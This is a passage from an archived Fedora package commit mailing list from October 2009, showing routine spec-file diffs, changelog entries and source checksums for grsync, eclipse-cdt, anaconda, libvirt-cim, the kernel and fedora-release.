+++ .cvsignore	5 Oct 2009 22:23:15 -0000	1.8
@@ -1 +1 @@
-grsync-0.9.1.tar.gz
+grsync-0.9.2.tar.gz


Index: grsync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/grsync/F-12/grsync.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- grsync.spec	25 Jul 2009 01:31:00 -0000	1.11
+++ grsync.spec	5 Oct 2009 22:23:15 -0000	1.12
@@ -1,6 +1,6 @@
 Name:           grsync
-Version:        0.9.1
-Release:        2%{?dist}
+Version:        0.9.2
+Release:        1%{?dist}
 Summary:        A Gtk+ GUI for rsync
 
 Group:          User Interface/Desktops
@@ -36,7 +36,8 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 
-desktop-file-install --vendor=""                                 \
+desktop-file-install                                             \
+        --add-category=GTK                                       \
         --dir=%{buildroot}%{_datadir}/applications/              \
         %{buildroot}/%{_datadir}/applications/%{name}.desktop
 
@@ -57,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 05 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.9.2-1
+- new upstream release (fixes #524169)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/grsync/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	1 Jul 2009 13:14:50 -0000	1.7
+++ sources	5 Oct 2009 22:23:15 -0000	1.8
@@ -1 +1 @@
-4425e1092d12ddbba7176265e4a2150d  grsync-0.9.1.tar.gz
+b605c920f5b52e8783df2803efe8a03d  grsync-0.9.2.tar.gz



From jjohnstn at fedoraproject.org  Mon Oct  5 22:25:39 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Mon,  5 Oct 2009 22:25:39 +0000 (UTC)
Subject: rpms/eclipse-cdt/F-10 eclipse-cdt.spec,1.124,1.125
Message-ID: <20091005222539.AC23711C00DB@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2016

Modified Files:
	eclipse-cdt.spec 
Log Message:

* Mon Oct 05 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-7
- Fix typo.




Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-10/eclipse-cdt.spec,v
retrieving revision 1.124
retrieving revision 1.125
diff -u -p -r1.124 -r1.125
--- eclipse-cdt.spec	2 Oct 2009 22:36:29 -0000	1.124
+++ eclipse-cdt.spec	5 Oct 2009 22:25:38 -0000	1.125
@@ -20,7 +20,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        6{?dist}
+Release:        7%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -595,6 +595,9 @@ fi
 %endif
 
 %changelog
+* Mon Oct 05 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-7
+- Fix typo.
+
 * Fri Oct 02 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-6
 - Disable libstdc++ libhover from 0.3.0 which cannot work without CDT 6.0.
 



From dcantrel at fedoraproject.org  Mon Oct  5 22:26:59 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Mon,  5 Oct 2009 22:26:59 +0000 (UTC)
Subject: rpms/anaconda/devel .cvsignore, 1.674, 1.675 anaconda.spec, 1.824, 
	1.825 sources, 1.808, 1.809
Message-ID: <20091005222659.4200211C00DB@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3235

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Mon Oct 05 2009 David Cantrell <dcantrell at redhat.com> - 13.0-1
- Remove an errant popd. Probably cut/paste error. (jkeating)
- Only add the .img file to .treeinfo if it exists. (jkeating)
- Make the netboot dir before trying to use it (jkeating)
- Only write network --netmask if one has been defined (#527083). (clumens)
- Add --label to anaconda-ks.cfg if needed (#526223). (clumens)
- Fix existing size calculation for NTFS (#520627) (dcantrell)
- Write label to filesystem if we have one set (#526226, #526242) (dcantrell)
- Add wget to the initrd, which is required for rhts. (clumens)
- Fix the check for no /boot request on PPC yet again (#526843). (clumens)
- Surround the stage2= parameter in quotes for RHEL (#526863). (clumens)
- Correct makeupdates script to work with deleted files. (jgranado)
- Stop dragging mkinitrd into the install (hdegoede)
- Add --keyword=P_ to xgettext command arguments. (dcantrell)
- Use named parameters for translatable strings with multiple params.
  (dcantrell)
- Change 'support' to 'supported' in UnknownSwapError dialog (#526549)
  (dcantrell)
- Force interface up before checking link status (#525071). (dcantrell)
- Only ignore partitions <1MB that are freespace. (#526445) (dlehman)
- Try to include error messages in lvm/mdadm exceptions. (dlehman)
- Add the create LV option. (jgranado)
- Give the proper orientation to the gtk objects. (jgranado)
- Show the information message when user hits a non-bar element. (jgranado)
- Control the sensitivity of the "delete" and "create" buttons (jgranado)
- Respond to double click on a VG, LV and RAID device. (jgranado)
- Remove the "Hide RAID/LVM" checkbox. (jgranado)
- Display a message in the bar view when user has no selected items.
  (jgranado)
- Cosmetic changes. (jgranado)
- The StripeGraph class does not need tree nor editCB (jgranado)
- Restrain from outputing any digits after the decimal point. (jgranado)
- Add a slice when the extended partition contains "free space" (jgranado)
- Reduce message size in clone screen. (jgranado)
- Add Slice size to the bar view (jgranado)
- Select the device in the treeview when its selected in the barview.
  (jgranado)
- Make canvas a class method. (jgranado)
- Incorporate all the Graph types in the custom screen. (jgranado)
- Add the Volume Group and md RAID array Graph classes (jgranado)
- Make the Bar View Code generic. (jgranado)
- Pass the device instead of the name to the add funciton. (jgranado)
- Display the device path with a smaller font and different color. (jgranado)
- Display bar view for the selected device only. (jgranado)
- Fix indentation in editCB (jgranado)
- Organize the creation of the custom screen into sections. (jgranado)
- Use a checkmark from a PNG image instead of a string. (jgranado)
- Put the size after the device name in the storage tree. (jgranado)
- Add the warning message for an invalid create. (jgranado)
- Reorganize the Customization screen a little. (jgranado)
- Remove unneeded functions & add the about messages for LVM and RAID.
  (jgranado)
- Have an intermediary screen for the "Create" action. (jgranado)
- New screen for "Create" action. (jgranado)
- New function to tell us if there is free space for a new partition.
  (jgranado)
- Edit LVM LV when user has a LV selected. (jgranado)
- Don't fail to commit partitions due to active lvm/md. (dlehman)
- Create and use DiskLabelCommitError for failure to commit. (dlehman)
- Work around partition renumbering in processActions. (dlehman)
- Re-get preexisting partitions using their original path. (dlehman)
- Don't store a copy of ActionDestroyFormat's device attr. (dlehman)
- Don't retry commiting partition table to disk (hdegoede)
- Stop /lib/udev/rules.d/65-md-incremental.rules from messing with mdraid
  sets (hdegoede)
- Don't try to do format handling on drives without media (#523467)
  (hdegoede)
- Wait for mdraid arrays to become clean before reboot / halt (hdegoede)
- Add repo --proxy= support to kickstart. (clumens)
- Pass the proxy config information to stage2. (clumens)
- Add support for proxies to the command line. (clumens)
- Add proxy support to kickstart in the loader. (clumens)
- Add a function to split up a proxy parameter into its parts. (clumens)
- libcurl supports https in addition to http, so change our tests. (clumens)
- getHostAndPath is only used by the nfs code, so move it. (clumens)
- Add initial loader UI support for proxies (#125917, #484788, #499085).
  (clumens)
- We no longer need our own FTP/HTTP protocol support code. (clumens)
- Get rid of the convertURL/UI functions, make iurlinfo just store a string.
  (clumens)
- Convert urlinstall.c to using the new urlinstTransfer function. (clumens)
- Add proxy support to urlinstTransfer by setting more curl options.
  (clumens)
- Add the urlinstTransfer function, which replaces urlinst*Transfer.
  (clumens)
- Add a function to construct an array of HTTP headers and cache the result.
  (clumens)
- Add a CURL instance to the loader data. (clumens)
- Add checks for libcurl into the makefile process. (clumens)
- Add the packages needed to support libcurl. (clumens)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/.cvsignore,v
retrieving revision 1.674
retrieving revision 1.675
diff -u -p -r1.674 -r1.675
--- .cvsignore	30 Sep 2009 01:09:33 -0000	1.674
+++ .cvsignore	5 Oct 2009 22:26:58 -0000	1.675
@@ -1 +1 @@
-anaconda-12.32.tar.bz2
+anaconda-13.0.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/anaconda.spec,v
retrieving revision 1.824
retrieving revision 1.825
diff -u -p -r1.824 -r1.825
--- anaconda.spec	30 Sep 2009 01:09:33 -0000	1.824
+++ anaconda.spec	5 Oct 2009 22:26:58 -0000	1.825
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.32
+Version: 13.0
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -57,6 +57,7 @@ BuildRequires: isomd5sum-devel
 BuildRequires: libX11-devel
 BuildRequires: libXt-devel
 BuildRequires: libXxf86misc-devel
+BuildRequires: libcurl-devel
 BuildRequires: libnl-devel >= %{libnlver}
 BuildRequires: libselinux-devel >= %{libselinuxver}
 BuildRequires: libsepol-devel
@@ -215,6 +216,97 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Mon Oct 05 2009 David Cantrell <dcantrell at redhat.com> - 13.0-1
+- Remove an errant popd. Probably cut/paste error. (jkeating)
+- Only add the .img file to .treeinfo if it exists. (jkeating)
+- Make the netboot dir before trying to use it (jkeating)
+- Only write network --netmask if one has been defined (#527083). (clumens)
+- Add --label to anaconda-ks.cfg if needed (#526223). (clumens)
+- Fix existing size calculation for NTFS (#520627) (dcantrell)
+- Write label to filesystem if we have one set (#526226, #526242) (dcantrell)
+- Add wget to the initrd, which is required for rhts. (clumens)
+- Fix the check for no /boot request on PPC yet again (#526843). (clumens)
+- Surround the stage2= parameter in quotes for RHEL (#526863). (clumens)
+- Correct makeupdates script to work with deleted files. (jgranado)
+- Stop dragging mkinitrd into the install (hdegoede)
+- Add --keyword=P_ to xgettext command arguments. (dcantrell)
+- Use named parameters for translatable strings with multiple params.
+  (dcantrell)
+- Change 'support' to 'supported' in UnknownSwapError dialog (#526549)
+  (dcantrell)
+- Force interface up before checking link status (#525071). (dcantrell)
+- Only ignore partitions <1MB that are freespace. (#526445) (dlehman)
+- Try to include error messages in lvm/mdadm exceptions. (dlehman)
+- Add the create LV option. (jgranado)
+- Give the proper orientation to the gtk objects. (jgranado)
+- Show the information message when user hits a non-bar element. (jgranado)
+- Control the sensitivity of the "delete" and "create" buttons (jgranado)
+- Respond to double click on a VG, LV and RAID device. (jgranado)
+- Remove the "Hide RAID/LVM" checkbox. (jgranado)
+- Display a message in the bar view when user has no selected items.
+  (jgranado)
+- Cosmetic changes. (jgranado)
+- The StripeGraph class does not need tree nor editCB (jgranado)
+- Restrain from outputing any digits after the decimal point. (jgranado)
+- Add a slice when the extended partition contains "free space" (jgranado)
+- Reduce message size in clone screen. (jgranado)
+- Add Slice size to the bar view (jgranado)
+- Select the device in the treeview when its selected in the barview.
+  (jgranado)
+- Make canvas a class method. (jgranado)
+- Incorporate all the Graph types in the custom screen. (jgranado)
+- Add the Volume Group and md RAID array Graph classes (jgranado)
+- Make the Bar View Code generic. (jgranado)
+- Pass the device instead of the name to the add funciton. (jgranado)
+- Display the device path with a smaller font and different color. (jgranado)
+- Display bar view for the selected device only. (jgranado)
+- Fix indentation in editCB (jgranado)
+- Organize the creation of the custom screen into sections. (jgranado)
+- Use a checkmark from a PNG image instead of a string. (jgranado)
+- Put the size after the device name in the storage tree. (jgranado)
+- Add the warning message for an invalid create. (jgranado)
+- Reorganize the Customization screen a little. (jgranado)
+- Remove unneeded functions & add the about messages for LVM and RAID.
+  (jgranado)
+- Have an intermediary screen for the "Create" action. (jgranado)
+- New screen for "Create" action. (jgranado)
+- New function to tell us if there is free space for a new partition.
+  (jgranado)
+- Edit LVM LV when user has a LV selected. (jgranado)
+- Don't fail to commit partitions due to active lvm/md. (dlehman)
+- Create and use DiskLabelCommitError for failure to commit. (dlehman)
+- Work around partition renumbering in processActions. (dlehman)
+- Re-get preexisting partitions using their original path. (dlehman)
+- Don't store a copy of ActionDestroyFormat's device attr. (dlehman)
+- Don't retry commiting partition table to disk (hdegoede)
+- Stop /lib/udev/rules.d/65-md-incremental.rules from messing with mdraid
+  sets (hdegoede)
+- Don't try to do format handling on drives without media (#523467)
+  (hdegoede)
+- Wait for mdraid arrays to become clean before reboot / halt (hdegoede)
+- Add repo --proxy= support to kickstart. (clumens)
+- Pass the proxy config information to stage2. (clumens)
+- Add support for proxies to the command line. (clumens)
+- Add proxy support to kickstart in the loader. (clumens)
+- Add a function to split up a proxy parameter into its parts. (clumens)
+- libcurl supports https in addition to http, so change our tests. (clumens)
+- getHostAndPath is only used by the nfs code, so move it. (clumens)
+- Add initial loader UI support for proxies (#125917, #484788, #499085).
+  (clumens)
+- We no longer need our own FTP/HTTP protocol support code. (clumens)
+- Get rid of the convertURL/UI functions, make iurlinfo just store a string.
+  (clumens)
+- Convert urlinstall.c to using the new urlinstTransfer function. (clumens)
+- Add proxy support to urlinstTransfer by setting more curl options.
+  (clumens)
+- Add the urlinstTransfer function, which replaces urlinst*Transfer.
+  (clumens)
+- Add a function to construct an array of HTTP headers and cache the result.
+  (clumens)
+- Add a CURL instance to the loader data. (clumens)
+- Add checks for libcurl into the makefile process. (clumens)
+- Add the packages needed to support libcurl. (clumens)
+
 * Tue Sep 29 2009 David Cantrell <dcantrell at redhat.com> - 12.32-1
 - Improve loader messages in parseCmdLineFlags when passing vnc (#526350).
   (maier)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/sources,v
retrieving revision 1.808
retrieving revision 1.809
diff -u -p -r1.808 -r1.809
--- sources	30 Sep 2009 01:09:33 -0000	1.808
+++ sources	5 Oct 2009 22:26:58 -0000	1.809
@@ -1 +1 @@
-243e5017608dcd9ef0798925e1a2a0e3  anaconda-12.32.tar.bz2
+3b0a07b9669617712240b537c06f0626  anaconda-13.0.tar.bz2



From jjohnstn at fedoraproject.org  Mon Oct  5 22:27:21 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Mon,  5 Oct 2009 22:27:21 +0000 (UTC)
Subject: rpms/eclipse-cdt/F-11 eclipse-cdt.spec,1.127,1.128
Message-ID: <20091005222721.180C211C00DB@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3632

Modified Files:
	eclipse-cdt.spec 
Log Message:

* Mon Oct 05 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-7
- Fix typo.




Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-11/eclipse-cdt.spec,v
retrieving revision 1.127
retrieving revision 1.128
diff -u -p -r1.127 -r1.128
--- eclipse-cdt.spec	2 Oct 2009 22:32:22 -0000	1.127
+++ eclipse-cdt.spec	5 Oct 2009 22:27:20 -0000	1.128
@@ -20,7 +20,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        6{?dist}
+Release:        7%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -595,6 +595,9 @@ fi
 %endif
 
 %changelog
+* Mon Oct 05 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-7
+- Fix typo.
+
 * Fri Oct 02 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-6
 - Disable libstdc++ libhover from 0.3.0 which cannot work without CDT 6.0.
 



From kaitlin at fedoraproject.org  Mon Oct  5 22:45:11 2009
From: kaitlin at fedoraproject.org (Kaitlin Rupert)
Date: Mon,  5 Oct 2009 22:45:11 +0000 (UTC)
Subject: rpms/libvirt-cim/devel .cvsignore, 1.14, 1.15 libvirt-cim.spec, 1.28,
	1.29 sources, 1.16, 1.17
Message-ID: <20091005224512.02A4C11C00DB@cvs1.fedora.phx.redhat.com>

Author: kaitlin

Update of /cvs/pkgs/rpms/libvirt-cim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9454

Modified Files:
	.cvsignore libvirt-cim.spec sources 
Log Message:
Add new tarball for release 0.5.7.  Also, update spec file to match changes.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-cim/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	16 Jul 2009 00:18:25 -0000	1.14
+++ .cvsignore	5 Oct 2009 22:45:10 -0000	1.15
@@ -2,3 +2,4 @@ libvirt-cim-0.5.3.tar.gz
 libvirt-cim-0.5.4.tar.gz
 libvirt-cim-0.5.5.tar.gz
 libvirt-cim-0.5.6.tar.gz
+libvirt-cim-0.5.7.tar.gz


Index: libvirt-cim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-cim/devel/libvirt-cim.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- libvirt-cim.spec	25 Jul 2009 08:51:49 -0000	1.28
+++ libvirt-cim.spec	5 Oct 2009 22:45:10 -0000	1.29
@@ -2,8 +2,8 @@
 
 Summary: A CIM provider for libvirt
 Name: libvirt-cim
-Version: 0.5.6
-Release: 2%{?dist}
+Version: 0.5.7
+Release: 1%{?dist}
 License: LGPLv2+
 Group: Development/Libraries
 Source: libvirt-cim-%{version}.tar.gz
@@ -122,6 +122,9 @@ rm -fr $RPM_BUILD_ROOT
 /etc/ld.so.conf.d/libvirt-cim.conf
 
 %changelog
+* Tue Oct 5 2009 Kaitlin Rupert <kaitlin at us.ibm.com> - 0.5.7-1
+- Updated to latest upstream source
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.5.6-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-cim/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	16 Jul 2009 00:18:25 -0000	1.16
+++ sources	5 Oct 2009 22:45:10 -0000	1.17
@@ -2,3 +2,4 @@
 26cec2226701a063325fac8f6e8cb75b  libvirt-cim-0.5.4.tar.gz
 dec0c3647ea3aa713022b31576e0b202  libvirt-cim-0.5.5.tar.gz
 c91674b76dfabe484d2a1b88825bc04f  libvirt-cim-0.5.6.tar.gz
+74003d67605071f63d3c5cb14fd0d676  libvirt-cim-0.5.7.tar.gz



From kaitlin at fedoraproject.org  Mon Oct  5 23:05:04 2009
From: kaitlin at fedoraproject.org (Kaitlin Rupert)
Date: Mon,  5 Oct 2009 23:05:04 +0000 (UTC)
Subject: rpms/libvirt-cim/F-12 .cvsignore, 1.14, 1.15 libvirt-cim.spec, 1.28,
	1.29 sources, 1.16, 1.17
Message-ID: <20091005230504.881DB11C00DB@cvs1.fedora.phx.redhat.com>

Author: kaitlin

Update of /cvs/pkgs/rpms/libvirt-cim/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15489

Modified Files:
	.cvsignore libvirt-cim.spec sources 
Log Message:
Update libvirt-cim.spec for 0.5.7 release.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-cim/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	16 Jul 2009 00:18:25 -0000	1.14
+++ .cvsignore	5 Oct 2009 23:05:03 -0000	1.15
@@ -2,3 +2,4 @@ libvirt-cim-0.5.3.tar.gz
 libvirt-cim-0.5.4.tar.gz
 libvirt-cim-0.5.5.tar.gz
 libvirt-cim-0.5.6.tar.gz
+libvirt-cim-0.5.7.tar.gz


Index: libvirt-cim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-cim/F-12/libvirt-cim.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- libvirt-cim.spec	25 Jul 2009 08:51:49 -0000	1.28
+++ libvirt-cim.spec	5 Oct 2009 23:05:03 -0000	1.29
@@ -2,8 +2,8 @@
 
 Summary: A CIM provider for libvirt
 Name: libvirt-cim
-Version: 0.5.6
-Release: 2%{?dist}
+Version: 0.5.7
+Release: 1%{?dist}
 License: LGPLv2+
 Group: Development/Libraries
 Source: libvirt-cim-%{version}.tar.gz
@@ -122,6 +122,9 @@ rm -fr $RPM_BUILD_ROOT
 /etc/ld.so.conf.d/libvirt-cim.conf
 
 %changelog
+* Tue Oct 5 2009 Kaitlin Rupert <kaitlin at us.ibm.com> - 0.5.7-1
+- Updated to latest upstream source
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.5.6-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-cim/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	16 Jul 2009 00:18:25 -0000	1.16
+++ sources	5 Oct 2009 23:05:03 -0000	1.17
@@ -2,3 +2,4 @@
 26cec2226701a063325fac8f6e8cb75b  libvirt-cim-0.5.4.tar.gz
 dec0c3647ea3aa713022b31576e0b202  libvirt-cim-0.5.5.tar.gz
 c91674b76dfabe484d2a1b88825bc04f  libvirt-cim-0.5.6.tar.gz
+74003d67605071f63d3c5cb14fd0d676  libvirt-cim-0.5.7.tar.gz



From cebbert at fedoraproject.org  Mon Oct  5 23:14:07 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon,  5 Oct 2009 23:14:07 +0000 (UTC)
Subject: rpms/kernel/F-11 patch-2.6.30.9.bz2.sign, NONE, 1.1 .cvsignore,
	1.1058, 1.1059 kernel.spec, 1.1751, 1.1752 sources, 1.1020,
	1.1021 upstream, 1.931, 1.932 patch-2.6.30.8.bz2.sign, 1.1,
	NONE patch-2.6.30.9-rc3.bz2.sign, 1.1, NONE
Message-ID: <20091005231407.BF0E211C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18064

Modified Files:
	.cvsignore kernel.spec sources upstream 
Added Files:
	patch-2.6.30.9.bz2.sign 
Removed Files:
	patch-2.6.30.8.bz2.sign patch-2.6.30.9-rc3.bz2.sign 
Log Message:
Linux 2.6.30.9


--- NEW FILE patch-2.6.30.9.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBKyi4dyGugalF9Dw4RApF/AJ0RxTjrsUsH4cxDl+K9AlG6YT9DVgCZAXY4
bT7K+48S8Cv/e/iy/RJcTAY=
=QaAn
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/.cvsignore,v
retrieving revision 1.1058
retrieving revision 1.1059
diff -u -p -r1.1058 -r1.1059
--- .cvsignore	5 Oct 2009 02:55:36 -0000	1.1058
+++ .cvsignore	5 Oct 2009 23:14:06 -0000	1.1059
@@ -5,5 +5,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.30
 linux-2.6.30.tar.bz2
-patch-2.6.30.8.bz2
-patch-2.6.30.9-rc3.bz2
+patch-2.6.30.9.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1751
retrieving revision 1.1752
diff -u -p -r1.1751 -r1.1752
--- kernel.spec	5 Oct 2009 03:45:35 -0000	1.1751
+++ kernel.spec	5 Oct 2009 23:14:06 -0000	1.1752
@@ -42,7 +42,7 @@ Summary: The Linux kernel
 # Do we have a -stable update to apply?
 %define stable_update 9
 # Is it a -stable RC?
-%define stable_rc 3
+%define stable_rc 0
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -2012,6 +2012,9 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 05 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-73
+- Linux 2.6.30.9
+
 * Sun Oct 04 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-72.rc3
 - Copy stack randomization fix from 2.6.31.2 (F10#526882)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/sources,v
retrieving revision 1.1020
retrieving revision 1.1021
diff -u -p -r1.1020 -r1.1021
--- sources	5 Oct 2009 02:55:38 -0000	1.1020
+++ sources	5 Oct 2009 23:14:07 -0000	1.1021
@@ -1,3 +1,2 @@
 7a80058a6382e5108cdb5554d1609615  linux-2.6.30.tar.bz2
-7e9b405b840bf5ecc70d208bfccee5f9  patch-2.6.30.8.bz2
-b91450ad7db3301e5e3983d9ccbc4543  patch-2.6.30.9-rc3.bz2
+ae8a07de27292d2957772e89f2dd921b  patch-2.6.30.9.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/upstream,v
retrieving revision 1.931
retrieving revision 1.932
diff -u -p -r1.931 -r1.932
--- upstream	5 Oct 2009 02:55:38 -0000	1.931
+++ upstream	5 Oct 2009 23:14:07 -0000	1.932
@@ -1,4 +1,3 @@
 linux-2.6.30.tar.bz2
-patch-2.6.30.8.bz2
-patch-2.6.30.9-rc3.bz2
+patch-2.6.30.9.bz2
 


--- patch-2.6.30.8.bz2.sign DELETED ---


--- patch-2.6.30.9-rc3.bz2.sign DELETED ---



From jkeating at fedoraproject.org  Mon Oct  5 23:14:33 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Mon,  5 Oct 2009 23:14:33 +0000 (UTC)
Subject: fedora-release fedora-release.spec,1.76,1.76.2.1
Message-ID: <20091005231433.C94F011C00DB@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/fedora/fedora-release
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18124

Modified Files:
      Tag: F-12
	fedora-release.spec 
Log Message:
Bump for F12 Beta



Index: fedora-release.spec
===================================================================
RCS file: /cvs/fedora/fedora-release/fedora-release.spec,v
retrieving revision 1.76
retrieving revision 1.76.2.1
diff -u -r1.76 -r1.76.2.1
--- fedora-release.spec	8 Aug 2009 00:04:48 -0000	1.76
+++ fedora-release.spec	5 Oct 2009 23:14:33 -0000	1.76.2.1
@@ -3,8 +3,8 @@
 
 Summary:	Fedora release files
 Name:		fedora-release
-Version:	11.91
-Release:	3
+Version:	11.92
+Release:	1
 License:	GPLv2
 Group:		System Environment/Base
 URL:		http://fedoraproject.org
@@ -84,6 +84,9 @@
 /etc/pki/rpm-gpg/*
 
 %changelog
+* Mon Oct 05 2009 Jesse Keating <jkeating at redhat.com> - 11.92-1
+- Bump for 12-Beta
+
 * Fri Aug 07 2009 Jesse Keating <jkeating at redhat.com> - 11.91-3
 - Bump for new tarball
 



From jkeating at fedoraproject.org  Mon Oct  5 23:16:14 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Mon,  5 Oct 2009 23:16:14 +0000 (UTC)
Subject: rpms/fedora-release/F-12 .cvsignore, 1.39, 1.40 fedora-release.spec,
	1.79, 1.80 sources, 1.66, 1.67
Message-ID: <20091005231614.D4C8A11C00DB@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/pkgs/rpms/fedora-release/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18354

Modified Files:
	.cvsignore fedora-release.spec sources 
Log Message:
* Mon Oct 05 2009 Jesse Keating <jkeating at redhat.com> - 11.92-1
- Bump for 12-Beta



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-release/F-12/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	7 Aug 2009 23:21:24 -0000	1.39
+++ .cvsignore	5 Oct 2009 23:16:14 -0000	1.40
@@ -1 +1 @@
-fedora-release-11.91.tar.gz
+fedora-release-11.92.tar.gz


Index: fedora-release.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-release/F-12/fedora-release.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- fedora-release.spec	8 Aug 2009 00:09:10 -0000	1.79
+++ fedora-release.spec	5 Oct 2009 23:16:14 -0000	1.80
@@ -3,8 +3,8 @@
 
 Summary:	Fedora release files
 Name:		fedora-release
-Version:	11.91
-Release:	3
+Version:	11.92
+Release:	1
 License:	GPLv2
 Group:		System Environment/Base
 URL:		http://fedoraproject.org
@@ -84,6 +84,9 @@ rm -rf $RPM_BUILD_ROOT
 /etc/pki/rpm-gpg/*
 
 %changelog
+* Mon Oct 05 2009 Jesse Keating <jkeating at redhat.com> - 11.92-1
+- Bump for 12-Beta
+
 * Fri Aug 07 2009 Jesse Keating <jkeating at redhat.com> - 11.91-3
 - Bump for new tarball
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-release/F-12/sources,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sources	8 Aug 2009 00:09:10 -0000	1.66
+++ sources	5 Oct 2009 23:16:14 -0000	1.67
@@ -1 +1 @@
